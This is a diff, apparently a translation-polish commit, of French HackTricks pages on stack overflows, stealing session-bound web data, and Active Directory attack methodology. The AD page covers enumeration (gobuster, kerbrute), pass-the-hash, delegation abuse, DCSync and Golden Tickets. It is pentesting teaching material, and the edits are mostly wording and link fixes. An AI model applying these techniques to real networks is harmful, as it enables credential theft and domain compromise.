-### Exemple C : Un programme vulnérable
+### Exemple en C : Un programme vulnérable
 
 Commençons par un exemple simple d'un programme C vulnérable :
 ```c
@@ -72,8 +72,8 @@ Le **NOP slide** (`asm('nop')`) est utilisé pour augmenter la chance que l'exé
 
 ## Protections
 
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **doit être désactivé** pour que l'adresse soit fiable à travers les exécutions ou l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin d'une fuite pour déterminer où la fonction win est chargée.
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) devrait également être désactivé ou l'adresse de retour EIP compromise ne sera jamais suivie.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **doit être désactivé** pour que l'adresse soit fiable à travers les exécutions, sinon l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin d'une fuite pour déterminer où la fonction win est chargée.
+- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) doit également être désactivé ou l'adresse de retour EIP compromise ne sera jamais suivie.
 - La protection **stack** [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) empêcherait l'exécution du shellcode à l'intérieur de la pile car cette région ne serait pas exécutable.
 
 ## Autres Exemples & Références

src/stealing-sensitive-information-disclosure-from-a-web.md

@@ -6,8 +6,8 @@ Si à un moment donné vous trouvez une **page web qui vous présente des inform
 Voici les principales méthodes que vous pouvez essayer d'atteindre :
 
 - [**CORS bypass**](pentesting-web/cors-bypass.md) : Si vous pouvez contourner les en-têtes CORS, vous pourrez voler les informations en effectuant une requête Ajax pour une page malveillante.
-- [**XSS**](pentesting-web/xss-cross-site-scripting/) : Si vous trouvez une vulnérabilité XSS sur la page, vous pourrez peut-être en abuser pour voler les informations.
-- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/) : Si vous ne pouvez pas injecter de balises XSS, vous pourrez toujours voler les informations en utilisant d'autres balises HTML régulières.
+- [**XSS**](pentesting-web/xss-cross-site-scripting/index.html) : Si vous trouvez une vulnérabilité XSS sur la page, vous pourrez peut-être en abuser pour voler les informations.
+- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/index.html) : Si vous ne pouvez pas injecter de balises XSS, vous pourrez toujours voler les informations en utilisant d'autres balises HTML régulières.
 - [**Clickjaking**](pentesting-web/clickjacking.md) : S'il n'y a pas de protection contre cette attaque, vous pourrez peut-être tromper l'utilisateur pour qu'il vous envoie les données sensibles (un exemple [ici](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
 
 {{#include ./banners/hacktricks-training.md}}

src/todo/stealing-sensitive-information-disclosure-from-a-web.md

@@ -1,13 +1,13 @@
-# Vol de la divulgation d'informations sensibles à partir d'un Web
+# Vol de divulgation d'informations sensibles à partir d'un Web
 
 {{#include ../banners/hacktricks-training.md}}
 
 Si à un moment donné vous trouvez une **page web qui vous présente des informations sensibles basées sur votre session** : Peut-être qu'elle reflète des cookies, ou imprime des détails de carte de crédit ou toute autre information sensible, vous pouvez essayer de les voler.\
 Voici les principales méthodes que vous pouvez essayer d'atteindre :
 
-- [**CORS bypass**](../pentesting-web/cors-bypass.md) : Si vous pouvez contourner les en-têtes CORS, vous serez en mesure de voler les informations en effectuant une requête Ajax pour une page malveillante.
-- [**XSS**](../pentesting-web/xss-cross-site-scripting/) : Si vous trouvez une vulnérabilité XSS sur la page, vous pourrez peut-être en abuser pour voler les informations.
-- [**Danging Markup**](../pentesting-web/dangling-markup-html-scriptless-injection/) : Si vous ne pouvez pas injecter de balises XSS, vous pourrez toujours voler les informations en utilisant d'autres balises HTML régulières.
+- [**CORS bypass**](../pentesting-web/cors-bypass.md) : Si vous pouvez contourner les en-têtes CORS, vous pourrez voler les informations en effectuant une requête Ajax pour une page malveillante.
+- [**XSS**](../pentesting-web/xss-cross-site-scripting/index.html) : Si vous trouvez une vulnérabilité XSS sur la page, vous pourrez peut-être en abuser pour voler les informations.
+- [**Danging Markup**](../pentesting-web/dangling-markup-html-scriptless-injection/index.html) : Si vous ne pouvez pas injecter de balises XSS, vous pourrez toujours voler les informations en utilisant d'autres balises HTML régulières.
 - [**Clickjaking**](../pentesting-web/clickjacking.md) : S'il n'y a pas de protection contre cette attaque, vous pourrez peut-être tromper l'utilisateur pour qu'il vous envoie les données sensibles (un exemple [ici](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
 
 {{#include ../banners/hacktricks-training.md}}

src/windows-hardening/active-directory-methodology/README.md

@@ -4,14 +4,14 @@
 
 ## Aperçu de base
 
-**Active Directory** sert de technologie fondamentale, permettant aux **administrateurs réseau** de créer et de gérer efficacement des **domaines**, des **utilisateurs** et des **objets** au sein d'un réseau. Il est conçu pour évoluer, facilitant l'organisation d'un grand nombre d'utilisateurs en **groupes** et **sous-groupes** gérables, tout en contrôlant les **droits d'accès** à divers niveaux.
+**Active Directory** sert de technologie fondamentale, permettant aux **administrateurs réseau** de créer et gérer efficacement des **domaines**, **utilisateurs** et **objets** au sein d'un réseau. Il est conçu pour évoluer, facilitant l'organisation d'un grand nombre d'utilisateurs en **groupes** et **sous-groupes** gérables, tout en contrôlant les **droits d'accès** à divers niveaux.
 
 La structure de **Active Directory** se compose de trois couches principales : **domaines**, **arbres** et **forêts**. Un **domaine** englobe un ensemble d'objets, tels que des **utilisateurs** ou des **dispositifs**, partageant une base de données commune. Les **arbres** sont des groupes de ces domaines liés par une structure partagée, et une **forêt** représente la collection de plusieurs arbres, interconnectés par des **relations de confiance**, formant la couche supérieure de la structure organisationnelle. Des **droits d'accès** et de **communication** spécifiques peuvent être désignés à chacun de ces niveaux.
 
 Les concepts clés au sein de **Active Directory** incluent :
 
 1. **Répertoire** – Contient toutes les informations relatives aux objets Active Directory.
-2. **Objet** – Désigne des entités au sein du répertoire, y compris des **utilisateurs**, des **groupes** ou des **dossiers partagés**.
+2. **Objet** – Désigne des entités au sein du répertoire, y compris des **utilisateurs**, **groupes** ou **dossiers partagés**.
 3. **Domaine** – Sert de conteneur pour les objets du répertoire, avec la capacité pour plusieurs domaines de coexister au sein d'une **forêt**, chacun maintenant sa propre collection d'objets.
 4. **Arbre** – Un regroupement de domaines partageant un domaine racine commun.
 5. **Forêt** – Le sommet de la structure organisationnelle dans Active Directory, composée de plusieurs arbres avec des **relations de confiance** entre eux.
@@ -42,7 +42,7 @@ Si vous avez juste accès à un environnement AD mais que vous n'avez pas de cr
 
 - **Tester le réseau :**
 - Scanner le réseau, trouver des machines et des ports ouverts et essayer d'**exploiter des vulnérabilités** ou d'**extraire des crédentiels** à partir d'eux (par exemple, [les imprimantes pourraient être des cibles très intéressantes](ad-information-in-printers.md)).
-- Énumérer le DNS pourrait donner des informations sur les serveurs clés dans le domaine tels que web, imprimantes, partages, vpn, médias, etc.
+- Énumérer le DNS pourrait donner des informations sur les serveurs clés dans le domaine comme le web, les imprimantes, les partages, le vpn, les médias, etc.
 - `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
 - Consultez la [**Méthodologie de Pentesting**](../../generic-methodologies-and-resources/pentesting-methodology.md) pour trouver plus d'informations sur la façon de procéder.
 - **Vérifiez l'accès nul et invité sur les services smb** (cela ne fonctionnera pas sur les versions modernes de Windows) :
@@ -69,14 +69,14 @@ Si vous avez juste accès à un environnement AD mais que vous n'avez pas de cr
 - Rassembler des crédentiels **en exposant** [**de faux services UPnP avec evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
 - [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology) :
 - Extraire des noms d'utilisateur/noms à partir de documents internes, de réseaux sociaux, de services (principalement web) à l'intérieur des environnements de domaine et également à partir de sources disponibles publiquement.
-- Si vous trouvez les noms complets des employés de l'entreprise, vous pourriez essayer différentes **conventions de nom d'utilisateur AD** (**[lisez ceci](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Les conventions les plus courantes sont : _NomPrénom_, _Nom.Prénom_, _NomPr_ (3 lettres de chaque), _Nom.Pr_, _NPrénom_, _N.Prénom_, _PrénomNom_, _Prénom.Nom_, _PrénomN_, _Prénom.N_, 3 _lettres aléatoires et 3 chiffres aléatoires_ (abc123).
+- Si vous trouvez les noms complets des employés de l'entreprise, vous pourriez essayer différentes **conventions de nom d'utilisateur AD** ([**lisez ceci**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Les conventions les plus courantes sont : _NomPrénom_, _Nom.Prénom_, _NomPr_ (3 lettres de chaque), _Nom.Pr_, _NPrénom_, _N.Prénom_, _PrénomNom_, _Prénom.Nom_, _PrénomN_, _Prénom.N_, 3 _lettres aléatoires et 3 chiffres aléatoires_ (abc123).
 - Outils :
 - [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
 - [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
 
 ### Énumération des utilisateurs
 
-- **Énumération SMB/LDAP anonyme :** Consultez les pages [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/) et [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
+- **Énumération SMB/LDAP anonyme :** Consultez les pages [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) et [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
 - **Énumération Kerbrute** : Lorsqu'un **nom d'utilisateur invalide est demandé**, le serveur répondra en utilisant le code d'erreur **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, nous permettant de déterminer que le nom d'utilisateur était invalide. Les **noms d'utilisateur valides** provoqueront soit le **TGT dans une réponse AS-REP**, soit l'erreur _KRB5KDC_ERR_PREAUTH_REQUIRED_, indiquant que l'utilisateur doit effectuer une pré-authentification.
 ```bash
 ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@@ -156,9 +156,9 @@ Avoir compromis un compte est un **grand pas pour commencer à compromettre tout
 Concernant [**ASREPRoast**](asreproast.md), vous pouvez maintenant trouver chaque utilisateur vulnérable possible, et concernant [**Password Spraying**](password-spraying.md), vous pouvez obtenir une **liste de tous les noms d'utilisateur** et essayer le mot de passe du compte compromis, des mots de passe vides et de nouveaux mots de passe prometteurs.
 
 - Vous pourriez utiliser le [**CMD pour effectuer une reconnaissance de base**](../basic-cmd-for-pentesters.md#domain-info)
-- Vous pouvez également utiliser [**powershell pour la reconnaissance**](../basic-powershell-for-pentesters/) qui sera plus discrète
+- Vous pouvez également utiliser [**powershell pour la reconnaissance**](../basic-powershell-for-pentesters/index.html) qui sera plus discrète
 - Vous pouvez aussi [**utiliser powerview**](../basic-powershell-for-pentesters/powerview.md) pour extraire des informations plus détaillées
-- Un autre outil incroyable pour la reconnaissance dans un annuaire actif est [**BloodHound**](bloodhound.md). Ce n'est **pas très discret** (selon les méthodes de collecte que vous utilisez), mais **si cela ne vous dérange pas**, vous devriez vraiment essayer. Trouvez où les utilisateurs peuvent RDP, trouvez des chemins vers d'autres groupes, etc.
+- Un autre outil incroyable pour la reconnaissance dans un annuaire actif est [**BloodHound**](bloodhound.md). Ce n'est **pas très discret** (selon les méthodes de collecte que vous utilisez), mais **si cela ne vous dérange pas**, vous devriez absolument l'essayer. Trouvez où les utilisateurs peuvent RDP, trouvez des chemins vers d'autres groupes, etc.
 - **D'autres outils d'énumération AD automatisés sont :** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
 - [**Enregistrements DNS de l'AD**](ad-dns-records.md) car ils pourraient contenir des informations intéressantes.
 - Un **outil avec interface graphique** que vous pouvez utiliser pour énumérer le répertoire est **AdExplorer.exe** de la **SysInternal** Suite.
@@ -191,7 +191,7 @@ Une fois que vous avez obtenu des identifiants, vous pourriez vérifier si vous
 
 Si vous avez compromis des identifiants ou une session en tant qu'utilisateur de domaine régulier et que vous avez **accès** avec cet utilisateur à **n'importe quelle machine dans le domaine**, vous devriez essayer de trouver un moyen d'**escalader les privilèges localement et de chercher des identifiants**. C'est parce qu'avec des privilèges d'administrateur local, vous serez en mesure de **dump les hashes d'autres utilisateurs** en mémoire (LSASS) et localement (SAM).
 
-Il y a une page complète dans ce livre sur [**l'escalade de privilèges locale dans Windows**](../windows-local-privilege-escalation/) et une [**checklist**](../checklist-windows-privilege-escalation.md). N'oubliez pas d'utiliser [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
+Il y a une page complète dans ce livre sur [**l'escalade de privilèges locale dans Windows**](../windows-local-privilege-escalation/index.html) et une [**checklist**](../checklist-windows-privilege-escalation.md). N'oubliez pas d'utiliser [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
 
 ### Tickets de session actuels
 
@@ -215,7 +215,7 @@ Maintenant que vous avez quelques identifiants de base, vous devriez vérifier s
 
 ### Voler des identifiants NTLM
 
-Si vous pouvez **accéder à d'autres PC ou partages**, vous pourriez **placer des fichiers** (comme un fichier SCF) qui, s'ils sont accédés d'une manière ou d'une autre, **déclencheront une authentification NTML contre vous**, vous permettant ainsi de **voler** le **challenge NTLM** pour le cracker :
+Si vous pouvez **accéder à d'autres PC ou partages**, vous pourriez **placer des fichiers** (comme un fichier SCF) qui, s'ils sont accédés, **déclencheront une authentification NTML contre vous**, vous permettant ainsi de **voler** le **challenge NTLM** pour le cracker :
 
 {{#ref}}
 ../ntlm/places-to-steal-ntlm-creds.md
@@ -231,18 +231,18 @@ printnightmare.md
 
 ## Élévation de privilèges sur Active Directory AVEC des identifiants/sessions privilégiés
 
-**Pour les techniques suivantes, un utilisateur de domaine régulier ne suffit pas, vous avez besoin de privilèges/identifiants spéciaux pour effectuer ces attaques.**
+**Pour les techniques suivantes, un utilisateur de domaine régulier n'est pas suffisant, vous avez besoin de privilèges/identifiants spéciaux pour effectuer ces attaques.**
 
 ### Extraction de hachages
 
-Espérons que vous avez réussi à **compromettre un compte administrateur local** en utilisant [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) y compris le relais, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [élévation de privilèges localement](../windows-local-privilege-escalation/).\
+Espérons que vous avez réussi à **compromettre un compte administrateur local** en utilisant [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) y compris le relais, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [élévation de privilèges localement](../windows-local-privilege-escalation/index.html).\
 Ensuite, il est temps de vider tous les hachages en mémoire et localement.\
 [**Lisez cette page sur les différentes façons d'obtenir les hachages.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
 
 ### Pass the Hash
 
 **Une fois que vous avez le hachage d'un utilisateur**, vous pouvez l'utiliser pour **l'usurper**.\
-Vous devez utiliser un **outil** qui va **effectuer** l'**authentification NTLM en utilisant** ce **hachage**, **ou** vous pourriez créer une nouvelle **sessionlogon** et **injecter** ce **hachage** dans le **LSASS**, de sorte que lorsque toute **authentification NTLM est effectuée**, ce **hachage sera utilisé.** La dernière option est ce que fait mimikatz.\
+Vous devez utiliser un **outil** qui **effectuera** l'**authentification NTLM en utilisant** ce **hachage**, **ou** vous pourriez créer une nouvelle **sessionlogon** et **injecter** ce **hachage** dans le **LSASS**, de sorte que lorsque toute **authentification NTLM est effectuée**, ce **hachage sera utilisé.** La dernière option est ce que fait mimikatz.\
 [**Lisez cette page pour plus d'informations.**](../ntlm/index.html#pass-the-hash)
 
 ### Over Pass the Hash/Pass the Key
@@ -284,8 +284,8 @@ abusing-ad-mssql.md
 
 ### Délégation Non Contraignante
 
-Si vous trouvez un objet Ordinateur avec l'attribut [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) et que vous avez des privilèges de domaine sur l'ordinateur, vous serez en mesure de dumper les TGTs de la mémoire de chaque utilisateur qui se connecte à l'ordinateur.\
-Donc, si un **Administrateur de Domaine se connecte à l'ordinateur**, vous pourrez dumper son TGT et l'imiter en utilisant [Pass the Ticket](pass-the-ticket.md).\
+Si vous trouvez un objet Ordinateur avec l'attribut [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) et que vous avez des privilèges de domaine sur l'ordinateur, vous pourrez extraire les TGT de la mémoire de chaque utilisateur qui se connecte à l'ordinateur.\
+Ainsi, si un **Administrateur de Domaine se connecte à l'ordinateur**, vous pourrez extraire son TGT et vous l'approprier en utilisant [Pass the Ticket](pass-the-ticket.md).\
 Grâce à la délégation contrainte, vous pourriez même **compromettre automatiquement un serveur d'impression** (espérons qu'il s'agisse d'un DC).
 
 {{#ref}}
@@ -294,8 +294,8 @@ unconstrained-delegation.md
 
 ### Délégation Contraignante
 
-Si un utilisateur ou un ordinateur est autorisé à la "Délégation Contraignante", il pourra **imiter n'importe quel utilisateur pour accéder à certains services sur un ordinateur**.\
-Ensuite, si vous **compromettez le hash** de cet utilisateur/ordinateur, vous pourrez **imiter n'importe quel utilisateur** (même des administrateurs de domaine) pour accéder à certains services.
+Si un utilisateur ou un ordinateur est autorisé à la "Délégation Contraignante", il pourra **se faire passer pour n'importe quel utilisateur pour accéder à certains services sur un ordinateur**.\
+Ensuite, si vous **compromettez le hash** de cet utilisateur/ordinateur, vous pourrez **vous faire passer pour n'importe quel utilisateur** (même des administrateurs de domaine) pour accéder à certains services.
 
 {{#ref}}
 constrained-delegation.md
@@ -311,7 +311,7 @@ resource-based-constrained-delegation.md
 
 ### Abus des ACLs
 
-L'utilisateur compromis pourrait avoir des **privilèges intéressants sur certains objets de domaine** qui pourraient vous permettre de **vous déplacer** latéralement/**d'escalader** des privilèges.
+L'utilisateur compromis pourrait avoir des **privilèges intéressants sur certains objets de domaine** qui pourraient vous permettre de **déplacer** latéralement/**escalader** des privilèges.
 
 {{#ref}}
 acl-persistence-abuse/
@@ -327,7 +327,7 @@ printers-spooler-service-abuse.md
 
 ### Abus des sessions tierces
 
-Si **d'autres utilisateurs** **accèdent** à la machine **compromise**, il est possible de **rassembler des identifiants depuis la mémoire** et même **d'injecter des balises dans leurs processus** pour les imiter.\
+Si **d'autres utilisateurs** **accèdent** à la machine **compromise**, il est possible de **rassembler des identifiants à partir de la mémoire** et même **d'injecter des balises dans leurs processus** pour se faire passer pour eux.\
 En général, les utilisateurs accéderont au système via RDP, donc voici comment effectuer quelques attaques sur les sessions RDP tierces :
 
 {{#ref}}
@@ -336,7 +336,7 @@ rdp-sessions-abuse.md
 
 ### LAPS
 
-**LAPS** fournit un système pour gérer le **mot de passe Administrateur local** sur les ordinateurs joints au domaine, garantissant qu'il est **aléatoire**, unique et fréquemment **changé**. Ces mots de passe sont stockés dans Active Directory et l'accès est contrôlé par des ACLs uniquement pour les utilisateurs autorisés. Avec des permissions suffisantes pour accéder à ces mots de passe, le pivotement vers d'autres ordinateurs devient possible.
+**LAPS** fournit un système pour gérer le **mot de passe Administrateur local** sur les ordinateurs joints au domaine, garantissant qu'il est **aléatoire**, unique et fréquemment **changé**. Ces mots de passe sont stockés dans Active Directory et l'accès est contrôlé par des ACLs uniquement pour les utilisateurs autorisés. Avec des permissions suffisantes pour accéder à ces mots de passe, le passage à d'autres ordinateurs devient possible.
 
 {{#ref}}
 laps.md
@@ -344,7 +344,7 @@ laps.md
 
 ### Vol de Certificats
 
-**Rassembler des certificats** depuis la machine compromise pourrait être un moyen d'escalader des privilèges à l'intérieur de l'environnement :
+**Rassembler des certificats** à partir de la machine compromise pourrait être un moyen d'escalader des privilèges à l'intérieur de l'environnement :
 
 {{#ref}}
 ad-certificates/certificate-theft.md
@@ -362,11 +362,11 @@ ad-certificates/domain-escalation.md
 
 ### Dumping des Identifiants de Domaine
 
-Une fois que vous obtenez des privilèges **Administrateur de Domaine** ou même mieux **Administrateur d'Entreprise**, vous pouvez **dumper** la **base de données de domaine** : _ntds.dit_.
+Une fois que vous obtenez des privilèges **Administrateur de Domaine** ou même mieux **Administrateur d'Entreprise**, vous pouvez **dump** la **base de données de domaine** : _ntds.dit_.
 
 [**Plus d'informations sur l'attaque DCSync peuvent être trouvées ici**](dcsync.md).
 
-[**Plus d'informations sur comment voler le NTDS.dit peuvent être trouvées ici**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
+[**Plus d'informations sur la façon de voler le NTDS.dit peuvent être trouvées ici**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
 
 ### Privesc comme Persistance
 
@@ -401,7 +401,7 @@ silver-ticket.md
 
 ### Golden Ticket
 
-Une **attaque Golden Ticket** implique qu'un attaquant accède au **hash NTLM du compte krbtgt** dans un environnement Active Directory (AD). Ce compte est spécial car il est utilisé pour signer tous les **Tickets de Concession (TGT)**, qui sont essentiels pour l'authentification au sein du réseau AD.
+Une **attaque Golden Ticket** implique qu'un attaquant accède au **hash NTLM du compte krbtgt** dans un environnement Active Directory (AD). Ce compte est spécial car il est utilisé pour signer tous les **Tickets de Concession de Ticket (TGT)**, qui sont essentiels pour l'authentification au sein du réseau AD.
 
 Une fois que l'attaquant obtient ce hash, il peut créer des **TGTs** pour n'importe quel compte de son choix (attaque Silver ticket).
 
@@ -425,7 +425,7 @@ diamond-ticket.md
 ad-certificates/account-persistence.md
 {{#endref}}
 
-### **Persistance des Domaines de Certificats**
+### **Persistance des Certificats de Domaine**
 
 **Utiliser des certificats est également possible pour persister avec des privilèges élevés à l'intérieur du domaine :**
 
@@ -504,19 +504,19 @@ Microsoft considère la **Forêt** comme la frontière de sécurité. Cela impli
 
 ### Informations de Base
 
-Une [**confiance de domaine**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) est un mécanisme de sécurité qui permet à un utilisateur d'un **domaine** d'accéder à des ressources dans un autre **domaine**. Cela crée essentiellement un lien entre les systèmes d'authentification des deux domaines, permettant aux vérifications d'authentification de circuler sans heurts. Lorsque les domaines établissent une confiance, ils échangent et conservent des **clés** spécifiques au sein de leurs **Contrôleurs de Domaine (DCs)**, qui sont cruciales pour l'intégrité de la confiance.
+Une [**confiance de domaine**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) est un mécanisme de sécurité qui permet à un utilisateur d'un **domaine** d'accéder à des ressources dans un autre **domaine**. Cela crée essentiellement un lien entre les systèmes d'authentification des deux domaines, permettant aux vérifications d'authentification de circuler sans heurts. Lorsque les domaines établissent une confiance, ils échangent et conservent des **clés** spécifiques au sein de leurs **Contrôleurs de Domaine (DC)**, qui sont cruciales pour l'intégrité de la confiance.
 
-Dans un scénario typique, si un utilisateur souhaite accéder à un service dans un **domaine de confiance**, il doit d'abord demander un ticket spécial connu sous le nom de **TGT inter-realm** à partir du DC de son propre domaine. Ce TGT est crypté avec une **clé** partagée que les deux domaines ont convenue. L'utilisateur présente ensuite ce TGT au **DC du domaine de confiance** pour obtenir un ticket de service (**TGS**). Après validation réussie du TGT inter-realm par le DC du domaine de confiance, il émet un TGS, accordant à l'utilisateur l'accès au service.
+Dans un scénario typique, si un utilisateur souhaite accéder à un service dans un **domaine de confiance**, il doit d'abord demander un ticket spécial connu sous le nom de **TGT inter-realm** à partir du DC de son propre domaine. Ce TGT est chiffré avec une **clé** partagée que les deux domaines ont convenue. L'utilisateur présente ensuite ce TGT au **DC du domaine de confiance** pour obtenir un ticket de service (**TGS**). Après validation réussie du TGT inter-realm par le DC du domaine de confiance, il émet un TGS, accordant à l'utilisateur l'accès au service.
 
 **Étapes** :
 
 1. Un **ordinateur client** dans le **Domaine 1** commence le processus en utilisant son **hash NTLM** pour demander un **Ticket Granting Ticket (TGT)** à son **Contrôleur de Domaine (DC1)**.
 2. DC1 émet un nouveau TGT si le client est authentifié avec succès.
 3. Le client demande ensuite un **TGT inter-realm** à DC1, qui est nécessaire pour accéder aux ressources dans le **Domaine 2**.
-4. Le TGT inter-realm est crypté avec une **clé de confiance** partagée entre DC1 et DC2 dans le cadre de la confiance de domaine bidirectionnelle.
-5. Le client prend le TGT inter-realm au **Contrôleur de Domaine 2 (DC2)**.
+4. Le TGT inter-realm est chiffré avec une **clé de confiance** partagée entre DC1 et DC2 dans le cadre de la confiance de domaine bidirectionnelle.
+5. Le client prend le TGT inter-realm au **Contrôleur de Domaine (DC2)** du Domaine 2.
 6. DC2 vérifie le TGT inter-realm en utilisant sa clé de confiance partagée et, si valide, émet un **Ticket Granting Service (TGS)** pour le serveur dans le Domaine 2 que le client souhaite accéder.
-7. Enfin, le client présente ce TGS au serveur, qui est crypté avec le hash du compte du serveur, pour obtenir l'accès au service dans le Domaine 2.
+7. Enfin, le client présente ce TGS au serveur, qui est chiffré avec le hash du compte du serveur, pour obtenir l'accès au service dans le Domaine 2.
 
 ### Différentes Confiances
 
@@ -526,7 +526,7 @@ Si le Domaine A fait confiance au Domaine B, A est le domaine de confiance et B
 
 **Différentes relations de confiance**
 
-- **Confiances Parent-Enfant** : C'est une configuration courante au sein de la même forêt, où un domaine enfant a automatiquement une confiance transitive bidirectionnelle avec son domaine parent. Essentiellement, cela signifie que les demandes d'authentification peuvent circuler sans heurts entre le parent et l'enfant.
+- **Confiances Parent-Enfant** : C'est une configuration courante au sein de la même forêt, où un domaine enfant a automatiquement une confiance bidirectionnelle transitive avec son domaine parent. Essentiellement, cela signifie que les demandes d'authentification peuvent circuler sans heurts entre le parent et l'enfant.
 - **Confiances de Lien Croisé** : Appelées "confiances de raccourci", celles-ci sont établies entre des domaines enfants pour accélérer les processus de référence. Dans des forêts complexes, les références d'authentification doivent généralement voyager jusqu'à la racine de la forêt, puis descendre vers le domaine cible. En créant des liens croisés, le voyage est raccourci, ce qui est particulièrement bénéfique dans des environnements géographiquement dispersés.
 - **Confiances Externes** : Celles-ci sont mises en place entre différents domaines non liés et sont non transitives par nature. Selon [la documentation de Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), les confiances externes sont utiles pour accéder à des ressources dans un domaine en dehors de la forêt actuelle qui n'est pas connecté par une confiance de forêt. La sécurité est renforcée grâce au filtrage SID avec des confiances externes.
 - **Confiances de Racine d'Arbre** : Ces confiances sont automatiquement établies entre le domaine racine de la forêt et une nouvelle racine d'arbre ajoutée. Bien qu'elles ne soient pas couramment rencontrées, les confiances de racine d'arbre sont importantes pour ajouter de nouveaux arbres de domaine à une forêt, leur permettant de maintenir un nom de domaine unique et garantissant une transitivité bidirectionnelle. Plus d'informations peuvent être trouvées dans [le guide de Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
@@ -536,7 +536,7 @@ Si le Domaine A fait confiance au Domaine B, A est le domaine de confiance et B
 #### Autres différences dans les **relations de confiance**
 
 - Une relation de confiance peut également être **transitive** (A fait confiance à B, B fait confiance à C, alors A fait confiance à C) ou **non transitive**.
-- Une relation de confiance peut être configurée comme une **confiance bidirectionnelle** (les deux se font confiance) ou comme une **confiance unidirectionnelle** (seulement l'un d'eux fait confiance à l'autre).
+- Une relation de confiance peut être configurée comme une **confiance bidirectionnelle** (les deux se font confiance mutuellement) ou comme une **confiance unidirectionnelle** (seulement l'un d'eux fait confiance à l'autre).
 
 ### Chemin d'Attaque
 
@@ -549,7 +549,7 @@ Les attaquants pourraient accéder aux ressources dans un autre domaine par troi
 
 - **Membre de Groupe Local** : Les principaux pourraient être ajoutés à des groupes locaux sur des machines, comme le groupe "Administrateurs" sur un serveur, leur accordant un contrôle significatif sur cette machine.
 - **Membre de Groupe de Domaine Étranger** : Les principaux peuvent également être membres de groupes au sein du domaine étranger. Cependant, l'efficacité de cette méthode dépend de la nature de la confiance et de la portée du groupe.
-- **Listes de Contrôle d'Accès (ACLs)** : Les principaux pourraient être spécifiés dans une **ACL**, en particulier en tant qu'entités dans des **ACEs** au sein d'un **DACL**, leur fournissant un accès à des ressources spécifiques. Pour ceux qui souhaitent approfondir les mécanismes des ACLs, DACLs et ACEs, le document intitulé "[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)" est une ressource inestimable.
+- **Listes de Contrôle d'Accès (ACLs)** : Les principaux pourraient être spécifiés dans une **ACL**, en particulier en tant qu'entités dans des **ACE** au sein d'une **DACL**, leur fournissant un accès à des ressources spécifiques. Pour ceux qui souhaitent approfondir les mécanismes des ACLs, DACLs et ACEs, le document intitulé "[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)" est une ressource inestimable.
 
 ### Escalade de privilèges de forêt enfant à parent
 ```
@@ -582,7 +582,7 @@ sid-history-injection.md
 
 #### Exploiter le NC de Configuration écrivable
 
-Comprendre comment le Contexte de Nommage de Configuration (NC) peut être exploité est crucial. Le NC de Configuration sert de référentiel central pour les données de configuration dans les environnements Active Directory (AD). Ces données sont répliquées à chaque Contrôleur de Domaine (DC) au sein de la forêt, les DC écrivables maintenant une copie écrivable du NC de Configuration. Pour exploiter cela, il faut avoir **des privilèges SYSTEM sur un DC**, de préférence un DC enfant.
